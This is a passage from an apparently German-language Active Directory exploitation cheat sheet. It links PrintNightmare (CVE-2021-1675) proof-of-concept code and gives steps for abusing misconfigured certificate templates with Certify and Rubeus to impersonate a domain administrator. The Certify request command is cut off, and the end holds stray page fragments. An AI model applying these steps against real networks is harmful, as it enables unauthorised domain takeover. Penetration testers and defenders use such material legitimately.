- [Impacket-Implementierung von PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): Zuverlässiger PoC von PrintNightmare unter Verwendung der Impacket-Bibliothek.
- [C#-Implementierung von CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): Zuverlässiger PoC von PrintNightmare, geschrieben in C#.

### Active Directory-Zertifikatsdienste

**Auf anfällige Zertifikatvorlagen prüfen mit:** [Certify](https://github.com/GhostPack/Certify)

_Hinweis: Certify kann auch mit Cobalt Strikes `execute-assembly` Befehl ausgeführt werden_```powershell
.\Certify.exe find /vulnerable /quiet

Stellen Sie sicher, dass der Wert von msPKI-Certificates-Name-Flag auf "ENROLLEE_SUPPLIES_SUBJECT" gesetzt ist und dass die Enrollment Rights Domänen-/authentifizierte Benutzer zulassen. Überprüfen Sie außerdem, dass der pkiextendedkeyusage-Parameter den Wert "Client Authentication" enthält und dass der Parameter "Authorized Signatures Required" auf 0 gesetzt ist.

Dieser Exploit funktioniert nur, weil diese Einstellungen die Server-/Client-Authentifizierung ermöglichen, was bedeutet, dass ein Angreifer den UPN eines Domänenadministrators („DA“) angeben und das erfasste Zertifikat mit Rubeus verwenden kann, um eine Authentifizierung zu fälschen.

Hinweis: Wenn sich ein Domänenadministrator in einer Gruppe „Geschützte Benutzer“ befindet, funktioniert der Exploit möglicherweise nicht wie vorgesehen. Überprüfen Sie dies, bevor Sie einen DA auswählen, den Sie angreifen möchten.

Fordern Sie das Kontozertifikat des DA mit Certify an.```powershell .\Certify.exe request /template:

Beliebteste

Active-Directory-Exploitation-Cheat-Sheet

Returns the ACLs associated with the specified account